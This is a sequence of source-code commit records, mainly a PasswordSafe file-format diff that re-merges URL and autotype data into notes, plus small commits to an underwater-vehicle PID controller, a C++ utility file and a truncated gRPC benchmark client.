unsigned char randhash[20]; \/\/ HashSize\n\n GetRandomData( randstuff, 8 );\n randstuff[8] = randstuff[9] = '\\0';\n GenRandhash(m_passkey, randstuff, randhash);\n\n fwrite(randstuff, 1, 8, m_fd);\n fwrite(randhash, 1, 20, m_fd);\n\n GetRandomData(m_salt, SaltLength);\n\n fwrite(m_salt, 1, SaltLength, m_fd);\n\t\n GetRandomData( m_ipthing, 8);\n fwrite(m_ipthing, 1, 8, m_fd);\n m_fish = BlowFish::MakeBlowFish((const unsigned char *)passstr,\n m_passkey.GetLength(),\n m_salt, SaltLength);\n if (m_curversion == V20) {\n status = WriteV2Header();\n }\n } else { \/\/ open for read\n#ifdef UNICODE\n m_fd = _wfopen((LPCTSTR) m_filename, _T(\"rb\"));\n#else\n m_fd = fopen((LPCTSTR) m_filename, _T(\"rb\"));\n#endif\n\n if (m_fd == NULL)\n return CANT_OPEN_FILE;\n status = CheckPassword(m_filename, m_passkey, m_fd);\n if (status != SUCCESS) {\n Close();\n return status;\n }\n fread(m_salt, 1, SaltLength, m_fd);\n fread(m_ipthing, 1, 8, m_fd);\n\n m_fish = BlowFish::MakeBlowFish((const unsigned char *)passstr,\n m_passkey.GetLength(),\n m_salt, SaltLength);\n if (m_curversion == V20)\n status = ReadV2Header();\n } \/\/ read mode\n return status;\n}\n\nint PWSfileV1V2::Close()\n{\n return PWSfile::Close();\n}\n\n\nint PWSfileV1V2::CheckPassword(const CMyString &filename,\n const CMyString &passkey, FILE *a_fd)\n{\n FILE *fd = a_fd;\n if (fd == NULL) {\n#ifdef UNICODE\n fd = _wfopen((LPCTSTR) filename, _T(\"rb\"));\n#else\n fd = fopen((LPCTSTR) filename, _T(\"rb\"));\n#endif\n }\n if (fd == NULL)\n return CANT_OPEN_FILE;\n\n unsigned char randstuff[StuffSize];\n unsigned char randhash[20]; \/\/ HashSize\n\n fread(randstuff, 1, 8, fd);\n randstuff[8] = randstuff[9] = '\\0'; \/\/ Gross fugbix\n fread(randhash, 1, 20, fd);\n\n if (a_fd == NULL) \/\/ if we opened the file, we close it...\n fclose(fd);\n\n unsigned char temphash[20]; \/\/ HashSize\n GenRandhash(passkey, randstuff, temphash);\n\n if (0 != ::memcmp((char*)randhash,\n\t\t (char*)temphash,\n\t\t 20)) {\/\/ HashSize\n return WRONG_PASSWORD;\n } else {\n return SUCCESS;\n }\n}\n\n\nint PWSfileV1V2::WriteRecord(const CItemData &item)\n{\n ASSERT(m_fd != NULL);\n ASSERT(m_curversion != UNKNOWN_VERSION);\n int status = SUCCESS;\n\n\n switch (m_curversion) {\n case V17: {\n \/\/ 1.x programs totally ignore the type byte, hence safe to write it\n \/\/ (no need for two WriteCBC functions)\n \/\/ Note that 2.0 format still requires that the header be in this format,\n \/\/ So that old programs reading new databases won't crash,\n \/\/ This introduces a small security issue, in that the header is known text,\n \/\/ making the password susceptible to a dictionary attack on the first block,\n \/\/ rather than the hash^n in the beginning of the file.\n \/\/ we can help minimize this here by writing a random byte in the \"type\"\n \/\/ byte of the first block.\n\n CMyString name = item.GetName();\n \/\/ If name field already exists - use it. This is for the 2.0 header, as well as for files\n \/\/ that were imported and re-exported.\n if (name.IsEmpty()) {\n \/\/ The name in 1.7 consists of title + SPLTCHR + username\n \/\/ DEFUSERNAME was used in previous versions, but 2.0 converts this upon import\n \/\/ so it is not an issue here.\n \/\/ Prepend 2.0 group field to name, if not empty\n \/\/ i.e. group \"finances\" name \"broker\" -> \"finances.broker\"\n CMyString group = item.GetGroup();\n CMyString title = item.GetTitle();\n if (!group.IsEmpty()) {\n group += _T(\".\");\n group += title;\n title = group;\n }\n name = title;\n name += SPLTCHR;\n name += item.GetUser();\n }\n unsigned char dummy_type;\n GetRandomData(&dummy_type, 1);\n WriteCBC(dummy_type, name);\n WriteCBC(CItemData::PASSWORD, item.GetPassword());\n WriteCBC(CItemData::NOTES, item.GetNotes());\n }\n break;\n case V20: {\n {\n uuid_array_t uuid_array;\n item.GetUUID(uuid_array);\n WriteCBC(CItemData::UUID, uuid_array, sizeof(uuid_array));\n }\n WriteCBC(CItemData::GROUP, item.GetGroup());\n WriteCBC(CItemData::TITLE, item.GetTitle());\n WriteCBC(CItemData::USER, item.GetUser());\n WriteCBC(CItemData::PASSWORD, item.GetPassword());\n WriteCBC(CItemData::NOTES, item.GetNotes());\n WriteCBC(CItemData::END, _T(\"\"));\n }\n break;\n default:\n ASSERT(0);\n status = UNSUPPORTED_VERSION;\n }\n return status;\n}\n\n\nstatic void ExtractAutoTypeCmd(CMyString ¬esStr, CMyString &autotypeStr)\n{\n CString instr(notesStr);\n int left = instr.Find(_T(\"autotype:\"));\n if (left == -1) {\n autotypeStr = _T(\"\"); \n } else {\n CString tmp(notesStr);\n tmp = tmp.Mid(left+9); \/\/ throw out everything left of \"autotype:\"\n instr = instr.Left(left);\n int right = tmp.FindOneOf(_T(\"\\r\\n\"));\n if (right != -1) {\n instr += tmp.Right(right);\n tmp = tmp.Left(right);\n }\n autotypeStr = CMyString(tmp);\n notesStr = CMyString(instr);\n }\n}\n\nstatic void ExtractURL(CMyString ¬esStr, CMyString &outurl)\n{\n CString instr(notesStr);\n \/\/ Extract first instance of (http|https|ftp):\/\/[^ \\t\\r\\n]+\n int left = instr.Find(_T(\"http:\/\/\"));\n if (left == -1)\n left = instr.Find(_T(\"https:\/\/\"));\n if (left == -1)\n left = instr.Find(_T(\"ftp:\/\/\"));\n if (left == -1) {\n outurl = _T(\"\");\n } else {\n CString url(instr);\n instr = notesStr.Left(left);\n url = url.Mid(left); \/\/ throw out everything left of URL\n int right = url.FindOneOf(_T(\" \\t\\r\\n\"));\n if (right != -1) {\n instr += url.Right(right);\n url = url.Left(right); \n }\n outurl = CMyString(url);\n notesStr = CMyString(instr);\n }\n}\n\n\nint PWSfileV1V2::ReadRecord(CItemData &item)\n{\n ASSERT(m_fd != NULL);\n ASSERT(m_curversion != UNKNOWN_VERSION);\n\n CMyString tempdata; \n int numread = 0;\n unsigned char type;\n \/\/ We do a double cast because the LPCTSTR cast operator is overridden by the CString class\n \/\/ to access the pointer we need,\n \/\/ but we in fact need it as an unsigned char. Grrrr.\n\n switch (m_curversion) {\n case V17: {\n \/\/ type is meaningless, but why write two versions of ReadCBC?\n numread += ReadCBC(type, tempdata);\n item.SetName(tempdata, m_defusername);\n numread += ReadCBC(type, tempdata);\n item.SetPassword(tempdata);\n numread += ReadCBC(type, tempdata);\n item.SetNotes(tempdata);\n \/\/ No UUID, so we create one here\n item.CreateUUID();\n \/\/ No Group - currently leave empty\n return (numread > 0) ? SUCCESS : END_OF_FILE;\n }\n case V20: {\n int emergencyExit = 255; \/\/ to avoid endless loop.\n int fieldLen; \/\/ zero means end of file reached\n bool endFound = false; \/\/ set to true when record end detected - happy end\n do {\n fieldLen = ReadCBC(type, tempdata);\n if (fieldLen > 0) {\n\tnumread += fieldLen;\n\tswitch (type) {\n\tcase CItemData::TITLE:\n\t item.SetTitle(tempdata); break;\n\tcase CItemData::USER:\n\t item.SetUser(tempdata); break;\n\tcase CItemData::PASSWORD:\n\t item.SetPassword(tempdata); break;\n\tcase CItemData::NOTES: {\n CMyString autotypeStr, URLStr;\n ExtractAutoTypeCmd(tempdata, autotypeStr);\n ExtractURL(tempdata, URLStr);\n\t item.SetNotes(tempdata);\n if (!autotypeStr.IsEmpty())\n item.SetAutoType(autotypeStr);\n if (!URLStr.IsEmpty())\n item.SetURL(URLStr);\n break;\n }\n\tcase CItemData::END:\n\t endFound = true; break;\n\tcase CItemData::UUID: {\n\t LPCTSTR ptr = LPCTSTR(tempdata);\n\t uuid_array_t uuid_array;\n\t for (int i = 0; i < sizeof(uuid_array); i++)\n\t uuid_array[i] = (unsigned char)ptr[i];\n\t item.SetUUID(uuid_array); break;\n\t}\n\tcase CItemData::GROUP:\n\t item.SetGroup(tempdata); break;\n\t \/\/ just silently ignore fields we don't support.\n\t \/\/ this is forward compatability...\n\tcase CItemData::CTIME:\n\tcase CItemData::ATIME:\n\tcase CItemData::LTIME:\n\tcase CItemData::POLICY:\n\tdefault:\n\t \/\/ XXX Set a flag here so user can be warned that\n\t \/\/ XXX we read a file format we don't fully support\n\t break;\n\t} \/\/ switch\n } \/\/ if (fieldLen > 0)\n } while (!endFound && fieldLen > 0 && --emergencyExit > 0);\n return (numread > 0) ? SUCCESS : END_OF_FILE;\n }\n default:\n ASSERT(0);\n return UNSUPPORTED_VERSION;\n }\n}\n<commit_msg>Remerge autottype & htp into Notes for v1v2 WriteRecord<commit_after>#include \"PWSfileV1V2.h\"\n\n#include <io.h>\n#include <fcntl.h>\n#include <sys\/stat.h>\n#include <errno.h>\n\n\nPWSfileV1V2::PWSfileV1V2(const CMyString &filename, RWmode mode, VERSION version)\n : PWSfile(filename,mode)\n{\n m_curversion = version;\n m_IV = m_ipthing;\n}\n\nPWSfileV1V2::~PWSfileV1V2()\n{\n}\n\n\/\/ Used to warn pre-2.0 users, and to identify the database as 2.x:\nstatic const CMyString V2ItemName(\" !!!Version 2 File Format!!! \"\n\t\t\t\t \"Please upgrade to PasswordSafe 2.0\"\n\t\t\t\t \" or later\");\n\/\/ Used to specify the exact version\nstatic const CMyString VersionString(\"2.0\");\nstatic const CMyString AltVersionString(\"pre-2.0\"); \n\nint PWSfileV1V2::WriteV2Header()\n{\n CItemData header;\n \/\/ Fill out with V2-specific info\n \/\/ To make a dictionary attack a little harder, we make the length\n \/\/ of the first record (Name) variable, by appending variable length randomness\n \/\/ to the fixed string\n \/\/ OOPS - can't do this yet, since previous versions (pre-2.14) read the name\n \/\/ (in ReadV2Header)\n \/\/ and compare it directly to VersionString to check version - a small\n \/\/ mistake that would cause a pre-2.14 executable to barf reading a database\n \/\/ written by 2.14 and later.\n \/\/ #idef-ing this out, while correcting the code\n \/\/ in ReadV2Header. Perhaps this can be fixed a year from now?\n#ifdef BREAK_PRE_2_14_COMPATIBILITY\n unsigned int rlen = RangeRand(62) + 2; \/\/ 64 is a trade-off...\n char *rbuf = new char[rlen];\n GetRandomData(rbuf, rlen-1);\n rbuf[rlen-1] = '\\0'; \/\/ although zero may be there before - who cares?\n CMyString rname(V2ItemName);\n rname += rbuf;\n delete[] rbuf;\n header.SetName(rname, _T(\"\"));\n#else\n header.SetName(V2ItemName, _T(\"\"));\n#endif \/* BREAK_PRE_2_14_COMPATIBILITY *\/\n header.SetPassword(VersionString);\n header.SetNotes(m_prefString);\n \/\/ need to fallback to V17, since the record\n \/\/ won't be readable otherwise!\n VERSION sv = m_curversion;\n m_curversion = V17;\n int status = WriteRecord(header);\n \/\/ restore after writing V17-format header\n m_curversion = sv;\n return status;\n}\n\nint PWSfileV1V2::ReadV2Header()\n{\n CItemData header;\n \/\/ need to fallback to V17, since the header\n \/\/ is always written in this format\n VERSION sv = m_curversion;\n m_curversion = V17;\n int status = ReadRecord(header);\n \/\/ restore after reading V17-format header\n m_curversion = sv;\n if (status == SUCCESS) {\n const CMyString version = header.GetPassword();\n \/\/ Compare to AltVersionString due to silly mistake\n \/\/ \"2.0\" as well as \"pre-2.0\" are actually 2.0. sigh.\n status = (version == VersionString || version == AltVersionString)\n ? SUCCESS : WRONG_VERSION;\n }\n if (status == SUCCESS)\n m_prefString = header.GetNotes();\n return status;\n}\n\nint PWSfileV1V2::Open(const CMyString &passkey)\n{\n int status = SUCCESS;\n\n ASSERT(m_curversion == V17 || m_curversion == V20);\n\n m_passkey = passkey;\n LPCTSTR passstr = LPCTSTR(m_passkey);\n\n if (m_rw == Write) {\n#ifdef UNICODE\n m_fd = _wfopen((LPCTSTR)m_filename, _T(\"wb\") );\n#else\n m_fd = fopen((LPCTSTR)m_filename, _T(\"wb\") );\n#endif\n\n if (m_fd == NULL)\n return CANT_OPEN_FILE;\n\n\n \/\/ Following used to verify passkey against file's passkey\n unsigned char randstuff[StuffSize];\n unsigned char randhash[20]; \/\/ HashSize\n\n GetRandomData( randstuff, 8 );\n randstuff[8] = randstuff[9] = '\\0';\n GenRandhash(m_passkey, randstuff, randhash);\n\n fwrite(randstuff, 1, 8, m_fd);\n fwrite(randhash, 1, 20, m_fd);\n\n GetRandomData(m_salt, SaltLength);\n\n fwrite(m_salt, 1, SaltLength, m_fd);\n\t\n GetRandomData( m_ipthing, 8);\n fwrite(m_ipthing, 1, 8, m_fd);\n m_fish = BlowFish::MakeBlowFish((const unsigned char *)passstr,\n m_passkey.GetLength(),\n m_salt, SaltLength);\n if (m_curversion == V20) {\n status = WriteV2Header();\n }\n } else { \/\/ open for read\n#ifdef UNICODE\n m_fd = _wfopen((LPCTSTR) m_filename, _T(\"rb\"));\n#else\n m_fd = fopen((LPCTSTR) m_filename, _T(\"rb\"));\n#endif\n\n if (m_fd == NULL)\n return CANT_OPEN_FILE;\n status = CheckPassword(m_filename, m_passkey, m_fd);\n if (status != SUCCESS) {\n Close();\n return status;\n }\n fread(m_salt, 1, SaltLength, m_fd);\n fread(m_ipthing, 1, 8, m_fd);\n\n m_fish = BlowFish::MakeBlowFish((const unsigned char *)passstr,\n m_passkey.GetLength(),\n m_salt, SaltLength);\n if (m_curversion == V20)\n status = ReadV2Header();\n } \/\/ read mode\n return status;\n}\n\nint PWSfileV1V2::Close()\n{\n return PWSfile::Close();\n}\n\n\nint PWSfileV1V2::CheckPassword(const CMyString &filename,\n const CMyString &passkey, FILE *a_fd)\n{\n FILE *fd = a_fd;\n if (fd == NULL) {\n#ifdef UNICODE\n fd = _wfopen((LPCTSTR) filename, _T(\"rb\"));\n#else\n fd = fopen((LPCTSTR) filename, _T(\"rb\"));\n#endif\n }\n if (fd == NULL)\n return CANT_OPEN_FILE;\n\n unsigned char randstuff[StuffSize];\n unsigned char randhash[20]; \/\/ HashSize\n\n fread(randstuff, 1, 8, fd);\n randstuff[8] = randstuff[9] = '\\0'; \/\/ Gross fugbix\n fread(randhash, 1, 20, fd);\n\n if (a_fd == NULL) \/\/ if we opened the file, we close it...\n fclose(fd);\n\n unsigned char temphash[20]; \/\/ HashSize\n GenRandhash(passkey, randstuff, temphash);\n\n if (0 != ::memcmp((char*)randhash,\n\t\t (char*)temphash,\n\t\t 20)) {\/\/ HashSize\n return WRONG_PASSWORD;\n } else {\n return SUCCESS;\n }\n}\n\nstatic CMyString ReMergeNotes(const CItemData &item)\n{\n CMyString notes = item.GetNotes();\n const CMyString url(item.GetURL());\n if (!url.IsEmpty()) {\n notes += _T(\"\\r\\n\"); notes += url;\n }\n const CMyString at(item.GetAutoType());\n if (!at.IsEmpty()) {\n notes += _T(\"\\r\\nautotype:\");\n notes += at;\n }\n return notes;\n}\n\nint PWSfileV1V2::WriteRecord(const CItemData &item)\n{\n ASSERT(m_fd != NULL);\n ASSERT(m_curversion != UNKNOWN_VERSION);\n int status = SUCCESS;\n\n\n switch (m_curversion) {\n case V17: {\n \/\/ 1.x programs totally ignore the type byte, hence safe to write it\n \/\/ (no need for two WriteCBC functions)\n \/\/ Note that 2.0 format still requires that the header be in this format,\n \/\/ So that old programs reading new databases won't crash,\n \/\/ This introduces a small security issue, in that the header is known text,\n \/\/ making the password susceptible to a dictionary attack on the first block,\n \/\/ rather than the hash^n in the beginning of the file.\n \/\/ we can help minimize this here by writing a random byte in the \"type\"\n \/\/ byte of the first block.\n\n CMyString name = item.GetName();\n \/\/ If name field already exists - use it. This is for the 2.0 header, as well as for files\n \/\/ that were imported and re-exported.\n if (name.IsEmpty()) {\n \/\/ The name in 1.7 consists of title + SPLTCHR + username\n \/\/ DEFUSERNAME was used in previous versions, but 2.0 converts this upon import\n \/\/ so it is not an issue here.\n \/\/ Prepend 2.0 group field to name, if not empty\n \/\/ i.e. group \"finances\" name \"broker\" -> \"finances.broker\"\n CMyString group = item.GetGroup();\n CMyString title = item.GetTitle();\n if (!group.IsEmpty()) {\n group += _T(\".\");\n group += title;\n title = group;\n }\n name = title;\n name += SPLTCHR;\n name += item.GetUser();\n }\n unsigned char dummy_type;\n GetRandomData(&dummy_type, 1);\n WriteCBC(dummy_type, name);\n WriteCBC(CItemData::PASSWORD, item.GetPassword());\n WriteCBC(CItemData::NOTES, ReMergeNotes(item));\n }\n break;\n case V20: {\n {\n uuid_array_t uuid_array;\n item.GetUUID(uuid_array);\n WriteCBC(CItemData::UUID, uuid_array, sizeof(uuid_array));\n }\n WriteCBC(CItemData::GROUP, item.GetGroup());\n WriteCBC(CItemData::TITLE, item.GetTitle());\n WriteCBC(CItemData::USER, item.GetUser());\n WriteCBC(CItemData::PASSWORD, item.GetPassword());\n WriteCBC(CItemData::NOTES, ReMergeNotes(item));\n WriteCBC(CItemData::END, _T(\"\"));\n }\n break;\n default:\n ASSERT(0);\n status = UNSUPPORTED_VERSION;\n }\n return status;\n}\n\n\nstatic void ExtractAutoTypeCmd(CMyString ¬esStr, CMyString &autotypeStr)\n{\n CString instr(notesStr);\n int left = instr.Find(_T(\"autotype:\"));\n if (left == -1) {\n autotypeStr = _T(\"\"); \n } else {\n CString tmp(notesStr);\n tmp = tmp.Mid(left+9); \/\/ throw out everything left of \"autotype:\"\n instr = instr.Left(left);\n int right = tmp.FindOneOf(_T(\"\\r\\n\"));\n if (right != -1) {\n instr += tmp.Right(right);\n tmp = tmp.Left(right);\n }\n autotypeStr = CMyString(tmp);\n notesStr = CMyString(instr);\n }\n}\n\nstatic void ExtractURL(CMyString ¬esStr, CMyString &outurl)\n{\n CString instr(notesStr);\n \/\/ Extract first instance of (http|https|ftp):\/\/[^ \\t\\r\\n]+\n int left = instr.Find(_T(\"http:\/\/\"));\n if (left == -1)\n left = instr.Find(_T(\"https:\/\/\"));\n if (left == -1)\n left = instr.Find(_T(\"ftp:\/\/\"));\n if (left == -1) {\n outurl = _T(\"\");\n } else {\n CString url(instr);\n instr = notesStr.Left(left);\n url = url.Mid(left); \/\/ throw out everything left of URL\n int right = url.FindOneOf(_T(\" \\t\\r\\n\"));\n if (right != -1) {\n instr += url.Right(right);\n url = url.Left(right); \n }\n outurl = CMyString(url);\n notesStr = CMyString(instr);\n }\n}\n\n\nint PWSfileV1V2::ReadRecord(CItemData &item)\n{\n ASSERT(m_fd != NULL);\n ASSERT(m_curversion != UNKNOWN_VERSION);\n\n CMyString tempdata; \n int numread = 0;\n unsigned char type;\n \/\/ We do a double cast because the LPCTSTR cast operator is overridden by the CString class\n \/\/ to access the pointer we need,\n \/\/ but we in fact need it as an unsigned char. Grrrr.\n\n switch (m_curversion) {\n case V17: {\n \/\/ type is meaningless, but why write two versions of ReadCBC?\n numread += ReadCBC(type, tempdata);\n item.SetName(tempdata, m_defusername);\n numread += ReadCBC(type, tempdata);\n item.SetPassword(tempdata);\n numread += ReadCBC(type, tempdata);\n item.SetNotes(tempdata);\n \/\/ No UUID, so we create one here\n item.CreateUUID();\n \/\/ No Group - currently leave empty\n return (numread > 0) ? SUCCESS : END_OF_FILE;\n }\n case V20: {\n int emergencyExit = 255; \/\/ to avoid endless loop.\n int fieldLen; \/\/ zero means end of file reached\n bool endFound = false; \/\/ set to true when record end detected - happy end\n do {\n fieldLen = ReadCBC(type, tempdata);\n if (fieldLen > 0) {\n\tnumread += fieldLen;\n\tswitch (type) {\n\tcase CItemData::TITLE:\n\t item.SetTitle(tempdata); break;\n\tcase CItemData::USER:\n\t item.SetUser(tempdata); break;\n\tcase CItemData::PASSWORD:\n\t item.SetPassword(tempdata); break;\n\tcase CItemData::NOTES: {\n CMyString autotypeStr, URLStr;\n ExtractAutoTypeCmd(tempdata, autotypeStr);\n ExtractURL(tempdata, URLStr);\n\t item.SetNotes(tempdata);\n if (!autotypeStr.IsEmpty())\n item.SetAutoType(autotypeStr);\n if (!URLStr.IsEmpty())\n item.SetURL(URLStr);\n break;\n }\n\tcase CItemData::END:\n\t endFound = true; break;\n\tcase CItemData::UUID: {\n\t LPCTSTR ptr = LPCTSTR(tempdata);\n\t uuid_array_t uuid_array;\n\t for (int i = 0; i < sizeof(uuid_array); i++)\n\t uuid_array[i] = (unsigned char)ptr[i];\n\t item.SetUUID(uuid_array); break;\n\t}\n\tcase CItemData::GROUP:\n\t item.SetGroup(tempdata); break;\n\t \/\/ just silently ignore fields we don't support.\n\t \/\/ this is forward compatability...\n\tcase CItemData::CTIME:\n\tcase CItemData::ATIME:\n\tcase CItemData::LTIME:\n\tcase CItemData::POLICY:\n\tdefault:\n\t \/\/ XXX Set a flag here so user can be warned that\n\t \/\/ XXX we read a file format we don't fully support\n\t break;\n\t} \/\/ switch\n } \/\/ if (fieldLen > 0)\n } while (!endFound && fieldLen > 0 && --emergencyExit > 0);\n return (numread > 0) ? SUCCESS : END_OF_FILE;\n }\n default:\n ASSERT(0);\n return UNSUPPORTED_VERSION;\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\/******************************************************************************\n* Controls.cpp\n*\n* Contains the yaw_controller() and depth_controller functions\n******************************************************************************\/\n#include \"Mapper.h\"\n\n\/******************************************************************************\n* float yaw_controller()\n*\n* Takes in readings from the IMU and returns a value between -1 and 1 (-100% - \n* +100%) that the port and starboard thrusters should run at\n******************************************************************************\/\n\/*\nfloat yaw_controller(bno055, yaw_pid)\n{\n\t\/\/ control output \/\/\n\tif( bno055.yaw < 180 ) \/\/ AUV is pointed right\n\t{\n\t\t\/\/ u[2] is negative\n\n\t\tmotor_percent = yaw_pid.kp*(yaw_pid.err) \n\t\t\t+ yaw_pid.kd*(bno055.r)+ yaw_pid.ki*yaw_pid.i_err; \/\/ yaw controller\n\n\t}\n\telse\t\t\/\/ AUV is pointed left\n\t{\n\t\t\/\/ u[2] is positive\n\t\tmotor_percent = yaw_pid.kp*(yaw_pid.err) \n\t\t\t+ yaw_pid.kd*(bno055.r) \n\t\t\t+ yaw_pid.ki*yaw_pid.i_err; \/\/ yaw controller\n\t}\n\t\/\/ saturate yaw controller \/\/\n\tif( u[2] > YAW_SAT )\n\t{\n\t\tmotor_percent=YAW_SAT;\n\t}\n\telse if( motor_percent < -YAW_SAT )\n\t{\n\t\tmotor_percent = -YAW_SAT;\n\t}\n\n\tyaw_pid.i_err += yaw_pid.err*DT;\n\t\/\/ set current yaw to be the old yaw \/\/\n\tyaw_pid.oldyaw = bno055.yaw;\n\n\treturn motor_percent;\n}\n*\/\n\n\n\/******************************************************************************\n* float depth_controller(float range)\n*\n* Takes a range-from-bottom reading from the laser range-finder code and \n* returns a value between -1 and 1 (-100% - +100%) that the vertical thruster\n* should run at\n******************************************************************************\/\n\/*\nfloat depth_controller(float range)\n{\n\tfloat vert_percent;\t\t\t\/\/ vertical thruster output in a percentage\n\tfloat depth_sum_error = 0;\t\/\/ accumulated range error for integral control\n float range_current;\n float range_old;\n float\n\n\t\/\/ accumulated range error for integral control \/\/\n\tdepth_sum_error += range - depth_pid.setpoint;\n\n\tif( range > depth_pid.setpoint )\n\t{\n\t\tvert_percent = depth_pid.kp*(range-depth_pid.setpoint) \n\t\t\t+ depth_pid.ki*(depth_sum_error) \n\t\t\t+ depth_pid.kd*((range_current-range_old)\/DT); \n\t}\n\telse \n\t{\n\t\t\/\/ shut off vertical thruster \/\/\n\t\tvert_percent = 0;\n\t}\n\n\t\/\/ saturate depth controller \/\/\n\tif( vert_percent > DEPTH_SAT )\n\t{\n\t\tvert_percent = DEPTH_SAT;\n\t}\n\telse if( vert_percent < -DEPTH_SAT )\n\t{\n\t\tvert_percent = -DEPTH_SAT;\n\t}\n\n\t\/\/ set current depth to be the old depth \/\/\n\tdepth_pid.old = depth_pid.current;\n\n\treturn vert_percent;\n}\n*\/\n<commit_msg>Uncommented Yaw Controller<commit_after>\/******************************************************************************\n* Controls.cpp\n*\n* Contains the yaw_controller() and depth_controller functions\n******************************************************************************\/\n#include \"Mapper.h\"\n\n\/******************************************************************************\n* float yaw_controller()\n*\n* Takes in readings from the IMU and returns a value between -1 and 1 (-100% - \n* +100%) that the port and starboard thrusters should run at\n******************************************************************************\/\n\nfloat yaw_controller(bno055, yaw_pid)\n{\n\t\/\/ control output \/\/\n\tif( bno055.yaw < 180 ) \/\/ AUV is pointed right\n\t{\n\t\t\/\/ u[2] is negative\n\n\t\tmotor_percent = yaw_pid.kp*(yaw_pid.err) \n\t\t\t+ yaw_pid.kd*(bno055.r)+ yaw_pid.ki*yaw_pid.i_err; \/\/ yaw controller\n\n\t}\n\telse\t\t\/\/ AUV is pointed left\n\t{\n\t\t\/\/ u[2] is positive\n\tmotor_percent = yaw_pid.kp*(yaw_pid.err) + yaw_pid.kd*(bno055.r) \n\t\t\t+ yaw_pid.ki*yaw_pid.i_err; \/\/ yaw controller\n\t}\n\t\/\/ saturate yaw controller \/\/\n\tif( u[2] > YAW_SAT )\n\t{\n\t\tmotor_percent=YAW_SAT;\n\t}\n\telse if( motor_percent < -YAW_SAT )\n\t{\n\t\tmotor_percent = -YAW_SAT;\n\t}\n\n\tyaw_pid.i_err += yaw_pid.err*DT;\n\t\/\/ set current yaw to be the old yaw \/\/\n\tyaw_pid.oldyaw = bno055.yaw;\n\n\treturn motor_percent;\n}\n\n\n\n\/******************************************************************************\n* float depth_controller(float range)\n*\n* Takes a range-from-bottom reading from the laser range-finder code and \n* returns a value between -1 and 1 (-100% - +100%) that the vertical thruster\n* should run at\n******************************************************************************\/\n\/*\nfloat depth_controller(float range)\n{\n\tfloat vert_percent;\t\t\t\/\/ vertical thruster output in a percentage\n\tfloat depth_sum_error = 0;\t\/\/ accumulated range error for integral control\n float range_current;\n float range_old;\n float\n\n\t\/\/ accumulated range error for integral control \/\/\n\tdepth_sum_error += range - depth_pid.setpoint;\n\n\tif( range > depth_pid.setpoint )\n\t{\n\t\tvert_percent = depth_pid.kp*(range-depth_pid.setpoint) \n\t\t\t+ depth_pid.ki*(depth_sum_error) \n\t\t\t+ depth_pid.kd*((range_current-range_old)\/DT); \n\t}\n\telse \n\t{\n\t\t\/\/ shut off vertical thruster \/\/\n\t\tvert_percent = 0;\n\t}\n\n\t\/\/ saturate depth controller \/\/\n\tif( vert_percent > DEPTH_SAT )\n\t{\n\t\tvert_percent = DEPTH_SAT;\n\t}\n\telse if( vert_percent < -DEPTH_SAT )\n\t{\n\t\tvert_percent = -DEPTH_SAT;\n\t}\n\n\t\/\/ set current depth to be the old depth \/\/\n\tdepth_pid.old = depth_pid.current;\n\n\treturn vert_percent;\n}\n*\/\n<|endoftext|>"} {"text":"<commit_before><commit_msg>remove unused variable \"rep\".<commit_after><|endoftext|>"} {"text":"<commit_before>#include \"util.hh\"\n\n#include <string>\nusing namespace std;\n\ninternal_error::internal_error() : message(\"unknown internal error\") {}\n\ninternal_error::internal_error(string msg) : message(\"internal error: \" + msg) {}\n\nstring internal_error::get_message() {\n\treturn message;\n}\n\nuser_error::user_error() : message(\"unknown user error\") {}\n\nuser_error::user_error(string msg) : message(\"user error: \" + msg) {}\n\nstring user_error::get_message() {\n\treturn message;\n}\n\n<commit_msg>bugfix<commit_after>#include \"util.hh\"\nusing namespace util;\n\n#include <string>\nusing namespace std;\n\ninternal_error::internal_error() : message(\"unknown internal error\") {}\n\ninternal_error::internal_error(string msg) : message(\"internal error: \" + msg) {}\n\nstring internal_error::get_message() {\n\treturn message;\n}\n\nuser_error::user_error() : message(\"unknown user error\") {}\n\nuser_error::user_error(string msg) : message(\"user error: \" + msg) {}\n\nstring user_error::get_message() {\n\treturn message;\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/*\n *\n * Copyright 2015, Google Inc.\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are\n * met:\n *\n * * Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n * * Redistributions in binary form must reproduce the above\n * copyright notice, this list of conditions and the following disclaimer\n * in the documentation and\/or other materials provided with the\n * distribution.\n * * Neither the name of Google Inc. nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n *\/\n\n#include <cassert>\n#include <functional>\n#include <memory>\n#include <string>\n#include <thread>\n#include <vector>\n#include <sstream>\n\n#include <grpc\/grpc.h>\n#include <grpc\/support\/histogram.h>\n#include <grpc\/support\/log.h>\n#include <gflags\/gflags.h>\n#include <grpc++\/async_unary_call.h>\n#include <grpc++\/client_context.h>\n#include <grpc++\/status.h>\n#include \"test\/core\/util\/grpc_profiler.h\"\n#include \"test\/cpp\/util\/create_test_channel.h\"\n#include \"test\/cpp\/qps\/qpstest.pb.h\"\n\nDEFINE_bool(enable_ssl, false, \"Whether to use ssl\/tls.\");\nDEFINE_int32(server_port, 0, \"Server port.\");\nDEFINE_string(server_host, \"127.0.0.1\", \"Server host.\");\nDEFINE_int32(client_threads, 4, \"Number of client threads.\");\n\n\/\/ We have a configurable number of channels for sending RPCs.\n\/\/ 